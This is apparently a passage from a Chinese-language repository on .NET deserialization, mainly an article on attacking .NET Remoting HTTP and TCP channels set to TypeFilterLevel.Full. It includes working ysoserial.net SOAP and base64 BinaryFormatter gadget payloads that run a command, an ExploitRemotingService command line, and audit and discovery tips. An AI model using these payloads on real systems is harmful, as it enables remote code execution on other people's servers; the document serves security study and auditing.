├── .NET Remoting.assets ├── image-20210518113143257.png ├── image-20210519091039703.png ├── image-20210519091858654.png ├── image-20210519092106925.png ├── image-20210519092343993.png ├── image-20210519092422683.png ├── image-20210519092515200.png ├── image-20210519102848623.png ├── image-20210519103010772.png ├── image-20210519104330838.png ├── image-20210519105336744.png ├── image-20210519110547764.png ├── image-20210519114342537.png └── image-20210519114959230.png ├── .NET Remoting.md ├── BinaryFormatter.assets ├── image-20210420091613814.png ├── image-20210420094454184.png ├── image-20210420095151296.png ├── image-20210420095335873.png ├── image-20210420103402429.png ├── image-20210421095616187.png ├── image-20210421100209814.png ├── image-20210421100326388.png ├── image-20210421100507589.png ├── image-20210421101806649.png ├── image-20210421102914580.png ├── image-20210422095122097.png ├── image-20210422101622310.png ├── image-20210422101757836.png ├── image-20210422102027123.png ├── image-20210422102207857.png ├── image-20210422105259759.png ├── image-20210422105406526.png └── image-20210422105650889.png ├── BinaryFormatter.md ├── DataContractJsonSerializer.assets ├── image-20210512093736654.png ├── image-20210513105243050.png ├── image-20210513105454590.png ├── image-20210513105622853.png └── image-20210513105757132.png ├── DataContractJsonSerializer.md ├── DataContractSerializer.assets ├── image-20210508111627538.png ├── image-20210508161519748.png ├── image-20210508161849196.png ├── image-20210508161954425.png ├── image-20210512170851071.png └── image-20210512171152157.png ├── DataContractSerializer.md ├── Fastjson.assets ├── image-20210517172621037.png ├── image-20210517173015665.png ├── image-20210517173139444.png └── net4auto_deserialize.png ├── Fastjson.md ├── JavaScriptSerializer.assets ├── image-20210514092932158.png ├── image-20210514094331079.png ├── image-20210514094745730.png ├── image-20210514094847452.png ├── image-20210514094939562.png ├── image-20210514095127803.png ├── image-20210514095534507.png ├── image-20210514095920487.png ├── image-20210514100023105.png ├── image-20210514100405168.png └── image-20210514101044055.png ├── JavaScriptSerializer.md ├── Json.Net.assets ├── image-20210517094642443.png ├── image-20210517094741346.png ├── image-20210517095157377.png ├── image-20210517095525752.png ├── image-20210517100933584.png ├── image-20210517102839800.png ├── image-20210517103006142.png ├── image-20210517103328743.png ├── image-20210517103602302.png └── jsonperformance.png ├── Json.Net.md ├── LosFormatter.assets ├── image-20210425104235784.png ├── image-20210425110334370.png ├── image-20210425110444203.png ├── image-20210430092024814.png ├── image-20210430092121894.png ├── image-20210430093438436.png ├── image-20210430093719111.png ├── image-20210430093756052.png ├── image-20210430101117390.png ├── image-20210430101152821.png ├── image-20210430101324639.png ├── image-20210430101439511.png ├── image-20210430101554161.png ├── image-20210430102011516.png ├── image-20210430114741836.png ├── image-20210430114917056.png ├── image-20210430115056392.png ├── image-20210430115310364.png ├── image-20210430135058714.png ├── image-20210430140302538.png ├── image-20210430140917079.png ├── image-20210430141006242.png └── image-20210430141737550.png ├── LosFormatter.md ├── Nancy.assets ├── image-20210511112334927.png ├── image-20210511112408534.png ├── image-20210511112504106.png ├── image-20210511112850720.png ├── image-20210511135005342.png ├── image-20210511144513587.png └── image-20210511144607393.png ├── Nancy.md ├── NetDataContractSerializer.assets ├── image-20210510092602900.png ├── image-20210511101053938.png ├── image-20210511101218983.png ├── image-20210511101408109.png ├── image-20210511101835362.png ├── image-20210511102405238.png ├── image-20210511102539282.png ├── image-20210511102733386.png └── image-20210511103441890.png ├── NetDataContractSerializer.md ├── ObjectStateFormatter.assets ├── image-20210428094113082.png ├── image-20210428101120691.png ├── image-20210428101458609.png ├── image-20210428101541812.png ├── image-20210428101624306.png ├── image-20210428101654838.png ├── image-20210428101802104.png ├── image-20210507105715422.png ├── image-20210507110155824.png ├── image-20210508091951491.png └── image-20210508092544937.png ├── ObjectStateFormatter.md ├── README.md ├── SharePoint-CVE-2019-0604.assets ├── DecodeEntityInstanceId.gif ├── image-20210531093517380.png ├── image-20210531094245308.png ├── image-20210531094622627.png ├── image-20210531094714349.png ├── image-20210531095245856.png ├── image-20210531095345175.png ├── image-20210531102514308.png ├── image-20210531103013909.png ├── image-20210531103538729.png ├── image-20210531104424259.png ├── image-20210531104533214.png ├── image-20210531105615216.png └── image-20210531105647050.png ├── SharePoint-CVE-2019-0604.md ├── SoapFormatter.assets ├── image-20210421105004584.png ├── image-20210423093639645.png ├── image-20210423095957309.png ├── image-20210423100231532.png ├── image-20210423100346984.png ├── image-20210423105549185.png ├── image-20210423110821354.png ├── image-20210423111143072.png ├── image-20210423112540223.png ├── image-20210423113056084.png ├── image-20210423113432726.png ├── image-20210423114839443.png ├── image-20210423115351194.png ├── image-20210423115916072.png ├── image-20210423134658154.png ├── image-20210423135603478.png ├── image-20210423141033293.png ├── image-20210423173350326.png ├── image-20210423173543809.png ├── image-20210423173707437.png ├── image-20210423174149763.png ├── image-20210423174727520.png ├── image-20210423174820749.png ├── image-20210423174914316.png └── image-20210423175705137.png ├── SoapFormatter.md ├── ViewState.md ├── XmlSerializer.md ├── dotnet-serialize-101.assets ├── image-20210417112301434.png ├── image-20210418140955935.png ├── image-20210420105228965.png └── image-20210420110242909.png ├── dotnet-serialize-101.md └── logo.png /.NET Remoting.assets/image-20210518113143257.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210518113143257.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519091039703.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519091039703.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519091858654.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519091858654.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519092106925.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519092106925.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519092343993.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519092343993.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519092422683.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519092422683.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519092515200.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519092515200.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519102848623.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519102848623.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519103010772.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519103010772.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519104330838.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519104330838.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519105336744.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519105336744.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519110547764.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519110547764.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519114342537.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519114342537.png -------------------------------------------------------------------------------- /.NET Remoting.assets/image-20210519114959230.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/.NET Remoting.assets/image-20210519114959230.png -------------------------------------------------------------------------------- /.NET Remoting.md: -------------------------------------------------------------------------------- 1 | # 简介 2 | 3 | .net remoting是一种在不同进程间传递对象的方式。假如两个不同的进程分别为服务端、客户端,客户端和服务端各自保存相同的一份对象(DLL),那么可以通过.net remoting技术来远程传递对象。拿java来讲更类似于rmi的概念。 4 | 5 | .net remoting可以使用tcp、http、ipc协议来传输远程对象。本文依赖于[VulnerableDotNetHTTPRemoting](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting)项目。 6 | 7 | # 三种协议的不同 8 | 9 | 三种协议都位于程序集System.Runtime.Remoting.dll,命名空间分别为System.Runtime.Remoting.Channels.Http、System.Runtime.Remoting.Channels.Tcp、System.Runtime.Remoting.Channels.Ipc 10 | 11 | ![image-20210518113143257](.NET%20Remoting.assets/image-20210518113143257.png) 12 | 13 | 其中不同协议用处不同: 14 | 15 | 1. IpcChannel用于本机之间进程传输,使用ipc协议传输比HTTP、TCP速度要快的多,但是只能在本机传输,不能跨机器,本文不讲。 16 | 2. TcpChannel基于tcp传输,将对象进行二进制序列化之后传输二进制数据流,比http传输效率更高。 17 | 3. HttpChannel基于http传输,将对象进行soap序列化之后在网络中传输xml,兼容性更强。 18 | 19 | # .net remoting demo 20 | 21 | 先来以HttpChannel为例看一个demo了解.net remoting。需要三个项目,分别是 22 | 23 | 1. RemoteDemoClient 24 | 2. RemoteDemoServer 25 | 3. RemoteDemoObject 26 | 27 | 分别表示**客户端**、**服务端**和**要传输的对象**。 28 | 29 | ## 传输对象类 30 | 31 | RemoteDemoObject.RemoteDemoObjectClass需要继承MarshalByRefObject类才能跨域(AppDomain)远程传输。 32 | 33 | ```csharp 34 | using System; 35 | 36 | namespace RemoteDemoObject 37 | { 38 | public class RemoteDemoObjectClass : MarshalByRefObject 39 | { 40 | public int count = 0; 41 | 42 | public int GetCount() 43 | { 44 | Console.WriteLine("GetCount called."); 45 | return count++; 46 | } 47 | } 48 | } 49 | ``` 50 | 51 | ## 服务端 52 | 53 | 服务端注册HttpServerChannel并绑定在9999端口,然后`RemotingConfiguration.RegisterWellKnownServiceType`发布uri地址为RemoteDemoObjectClass.rem的远程调用对象,类型是RemoteDemoObjectClass。 54 | 55 | ```csharp 56 | using System; 57 | using System.Runtime.Remoting; 58 | using System.Runtime.Remoting.Channels; 59 | using System.Runtime.Remoting.Channels.Http; 60 | using RemoteDemoObject; 61 | 62 | namespace RemoteDemoServer 63 | { 64 | class Program 65 | { 66 | static void Main(string[] args) 67 | { 68 | HttpServerChannel httpServerChannel = new HttpServerChannel(9999); 69 | ChannelServices.RegisterChannel(httpServerChannel, false); 70 | RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteDemoObjectClass), "RemoteDemoObjectClass.rem", WellKnownObjectMode.Singleton); 71 | 72 | Console.WriteLine("server has been start"); 73 | Console.ReadKey(); 74 | } 75 | } 76 | } 77 | ``` 78 | 79 | 其中WellKnownObjectMode.Singleton是一个枚举,含义如下。漏洞与这两个枚举无关。 80 | 81 | ![image-20210519091039703](.NET%20Remoting.assets/image-20210519091039703.png) 82 | 83 | ## 客户端 84 | 85 | ```csharp 86 | using RemoteDemoObject; 87 | using System; 88 | 89 | namespace RemoteDemoClient 90 | { 91 | class Program 92 | { 93 | static void Main(string[] args) 94 | { 95 | string serverAddress = "http://localhost:9999/RemoteDemoObjectClass.rem"; 96 | RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof(RemoteDemoObjectClass), serverAddress); 97 | 98 | Console.WriteLine("call GetCount() get return value:{0}",obj1.GetCount()); 99 | Console.ReadKey(); 100 | } 101 | } 102 | } 103 | ``` 104 | 105 | 客户端通过Activator.GetObject拿到远程对象并返回一个实例。 106 | 107 | ## 运行效果 108 | 109 | ``` 110 | PS C:\RemoteDemoClient\bin\Debug> .\RemoteDemoClient.exe 111 | call GetCount() get return value:0 112 | PS C:\RemoteDemoServer\bin\Debug> .\RemoteDemoServer.exe 113 | server has been start 114 | GetCount called. 115 | ``` 116 | 117 | 运行三次Client就返回count为三,并且输出三次`GetCount called.`,Server中的count会自增。 118 | 119 | # HttpServerChannel数据包 120 | 121 | 这边可以通过burp的透明代理功能将client的请求包代理出来。首先修改监听器启用透明代理。 122 | 123 | ![image-20210519091858654](.NET%20Remoting.assets/image-20210519091858654.png) 124 | 125 | 然后修改client的代码将9999端口改为8080 126 | 127 | ```csharp 128 | using RemoteDemoObject; 129 | using System; 130 | 131 | namespace RemoteDemoClient 132 | { 133 | class Program 134 | { 135 | static void Main(string[] args) 136 | { 137 | string serverAddress = "http://localhost:8080/RemoteDemoObjectClass.rem"; 138 | RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof(RemoteDemoObjectClass), serverAddress); 139 | 140 | Console.WriteLine("call GetCount() get return value:{0}",obj1.GetCount()); 141 | Console.ReadKey(); 142 | } 143 | } 144 | } 145 | ``` 146 | 147 | 再次运行client,抓到请求包 148 | 149 | ![image-20210519092106925](.NET%20Remoting.assets/image-20210519092106925.png) 150 | 151 | 在上图中可见HttpServerChannel采用soap协议传输对象。深究其实现 152 | 153 | ![image-20210519092343993](.NET%20Remoting.assets/image-20210519092343993.png) 154 | 155 | 构造函数中进入`this.SetupChannel()` 156 | 157 | ![image-20210519092422683](.NET%20Remoting.assets/image-20210519092422683.png) 158 | 159 | 然后判断自身_sinkProvider是否为空,如果为空则CreateDefaultServerProviderChain() 160 | 161 | ![image-20210519092515200](.NET%20Remoting.assets/image-20210519092515200.png) 162 | 163 | 这里使用了一个Provider链,从SdlChannelSinkProvider->SoapServerFormatterSinkProvider->BinaryServerFormatterSinkProvider 164 | 165 | ![image-20210519102848623](.NET%20Remoting.assets/image-20210519102848623.png) 166 | 167 | 而TcpServerChannel中,使用的是BinaryServerFormatterSinkProvider->SoapServerFormatterSinkProvider 168 | 169 | ![image-20210519103010772](.NET%20Remoting.assets/image-20210519103010772.png) 170 | 171 | 由此可见http使用soap协议进行序列化,tcp使用binary进行序列化。 172 | 173 | # 漏洞产生 174 | 175 | 在上文中我们提到SoapServerFormatterSinkProvider和BinaryServerFormatterSinkProvider,这两个类都有一个重要的属性**TypeFilterLevel**,[根据文档](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=net-5.0)可知其是枚举类型。 176 | 177 | ![image-20210519104330838](.NET%20Remoting.assets/image-20210519104330838.png) 178 | 179 | 当其为Full时会反序列化所有类型,low时反序列化基础远程处理功能相关联的类型。而为Full时,会造成漏洞。 180 | 181 | # 攻击HttpServerChannel 182 | 183 | 修改服务端代码 184 | 185 | ```csharp 186 | using System; 187 | using System.Collections; 188 | using System.Runtime.Remoting; 189 | using System.Runtime.Remoting.Channels; 190 | using System.Runtime.Remoting.Channels.Http; 191 | using System.Runtime.Serialization.Formatters; 192 | using RemoteDemoObject; 193 | 194 | namespace RemoteDemoServer 195 | { 196 | class Program 197 | { 198 | static void Main(string[] args) 199 | { 200 | SoapServerFormatterSinkProvider soapServerFormatterSinkProvider = new SoapServerFormatterSinkProvider() 201 | { 202 | TypeFilterLevel = TypeFilterLevel.Full 203 | }; 204 | 205 | IDictionary hashtables = new Hashtable(); 206 | hashtables["port"] = 9999; 207 | 208 | HttpServerChannel httpServerChannel = new HttpServerChannel(hashtables,soapServerFormatterSinkProvider); 209 | ChannelServices.RegisterChannel(httpServerChannel, false); 210 | RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteDemoObjectClass), "RemoteDemoObjectClass.rem", WellKnownObjectMode.Singleton); 211 | 212 | Console.WriteLine("server has been start"); 213 | Console.ReadKey(); 214 | } 215 | } 216 | } 217 | ``` 218 | 219 | 在HttpServerChannel中采用两个参数的重载,传入SoapServerFormatterSinkProvider,赋值`TypeFilterLevel = TypeFilterLevel.Full`。此时将soap请求修改为**TextFormattingRunProperties**的payload。 220 | 221 | ```xml 222 | PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f soapformatter -g TextFormattingRunProperties -c calc 223 | 224 | 225 | 226 | <?xml version="1.0" encoding="utf-16"?> 227 | <ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> 228 | <ObjectDataProvider.ObjectInstance> 229 | <sd:Process> 230 | <sd:Process.StartInfo> 231 | <sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" /> 232 | </sd:Process.StartInfo> 233 | </sd:Process> 234 | </ObjectDataProvider.ObjectInstance> 235 | </ObjectDataProvider> 236 | 237 | 238 | 239 | ``` 240 | 241 | **删除`SOAP-ENV:Body`标签之后**复制到burp中发包,弹出计算器。 242 | 243 | ![image-20210519105336744](.NET%20Remoting.assets/image-20210519105336744.png) 244 | 245 | # TcpServerChannel数据包 246 | 247 | 远程调用对象代码 248 | 249 | ```csharp 250 | using System; 251 | 252 | namespace RemoteDemoObject 253 | { 254 | public class RemoteDemoObjectClass : MarshalByRefObject 255 | { 256 | public int count = 0; 257 | 258 | public string GetCount() 259 | { 260 | Console.WriteLine("GetCount called."); 261 | return $"hello,{count++}"; 262 | } 263 | } 264 | } 265 | ``` 266 | 267 | 客户端 268 | 269 | ```csharp 270 | using RemoteDemoObject; 271 | using System; 272 | 273 | namespace RemoteDemoClient 274 | { 275 | class Program 276 | { 277 | static void Main(string[] args) 278 | { 279 | string serverAddress = "tcp://localhost:9999/RemoteDemoObjectClass.rem"; 280 | RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof(RemoteDemoObjectClass), serverAddress); 281 | 282 | Console.WriteLine("get string:\t{0}",obj1.GetCount()); 283 | Console.ReadKey(); 284 | } 285 | } 286 | } 287 | ``` 288 | 289 | 服务端 290 | 291 | ```csharp 292 | using System; 293 | using System.Collections; 294 | using System.Runtime.Remoting; 295 | using System.Runtime.Remoting.Channels; 296 | using System.Runtime.Remoting.Channels.Tcp; 297 | using System.Runtime.Serialization.Formatters; 298 | using RemoteDemoObject; 299 | 300 | namespace RemoteDemoServer 301 | { 302 | class Program 303 | { 304 | static void Main(string[] args) 305 | { 306 | BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider() 307 | { 308 | TypeFilterLevel = TypeFilterLevel.Full 309 | }; 310 | 311 | IDictionary hashtables = new Hashtable(); 312 | hashtables["port"] = 9999; 313 | 314 | TcpServerChannel httpServerChannel = new TcpServerChannel(hashtables,binary); 315 | ChannelServices.RegisterChannel(httpServerChannel, false); 316 | RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteDemoObjectClass), "RemoteDemoObjectClass.rem", WellKnownObjectMode.Singleton); 317 | 318 | Console.WriteLine("server has been start"); 319 | Console.ReadKey(); 320 | } 321 | } 322 | } 323 | ``` 324 | 325 | wireshark抓包之后,追踪tcp数据流 326 | 327 | ![image-20210519110547764](.NET%20Remoting.assets/image-20210519110547764.png) 328 | 329 | 发现数据流以`2e 4e 45 54` `.NET`开头进行二进制传输远程调用方法、类型和命名空间。我们可以伪造tcp数据流来发送恶意二进制数据流进行反序列化RCE。 330 | 331 | # 攻击TcpServerChannel 332 | 333 | Github上有一个现成的工具[ExploitRemotingService](https://github.com/tyranid/ExploitRemotingService),通过它的raw参数我们可以发送原始binary数据。先使用ysoserial.net生成base64的payload。 334 | 335 | ``` 336 | PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc -o base64 337 | AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw== 338 | ``` 339 | 340 | 然后使用ExploitRemotingService发包 341 | 342 | ``` 343 | PS C:\Users\ddd\Downloads\ExploitRemotingService-master\ExploitRemotingService\bin\Debug> .\ExploitRemotingService tcp://localhost:9999/RemoteDemoObjectClass.rem raw AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw== 344 | ``` 345 | 346 | 效果如图 347 | 348 | ![image-20210519114342537](.NET%20Remoting.assets/image-20210519114342537.png) 349 | 350 | 该工具还有其他很多用法,值得学习。 351 | 352 | # 发现.net remoting应用 353 | 354 | 因为协议的特征,nmap可以扫出来 355 | 356 | ![image-20210519114959230](.NET%20Remoting.assets/image-20210519114959230.png) 357 | 358 | 实际渗透过程中碰到rem后缀的也要重点关注。 359 | 360 | # 审计 361 | 362 | 关注TcpChannel、HttpChannel及其子类所创建实例的TypeFilterLevel字段是否为Full。其实为Low的时候ExploitRemotingService也可以利用,但是要设置`ConfigurationManager.AppSettings.Set("microsoft:Remoting:AllowTransparentProxyMessage", false;`这个全局非默认配置,少见,仅作了解。 363 | 364 | 关注rem后缀的uri,可能就是.net remoting。 365 | 366 | # 后文 367 | 368 | 本文简单介绍了.net remoting的基础及利用。ExploitRemotingService是一个值得学习的项目,其中使用到类似于java的动态注册RMI实例实现执行自定义代码的操作,受益颇多。 369 | 370 | # 参考 371 | 372 | 1. https://www.codeproject.com/Articles/14791/NET-Remoting-with-an-Easy-Example 373 | 2. https://research.nccgroup.com/2019/03/19/finding-and-exploiting-net-remoting-over-http-using-deserialisation/ 374 | 3. https://github.com/tyranid/ExploitRemotingService 375 | -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210420091613814.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210420091613814.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210420094454184.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210420094454184.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210420095151296.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210420095151296.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210420095335873.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210420095335873.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210420103402429.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210420103402429.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210421095616187.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210421095616187.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210421100209814.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210421100209814.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210421100326388.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210421100326388.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210421100507589.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210421100507589.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210421101806649.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210421101806649.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210421102914580.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210421102914580.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210422095122097.png: -------------------------------------------------------------------------------- 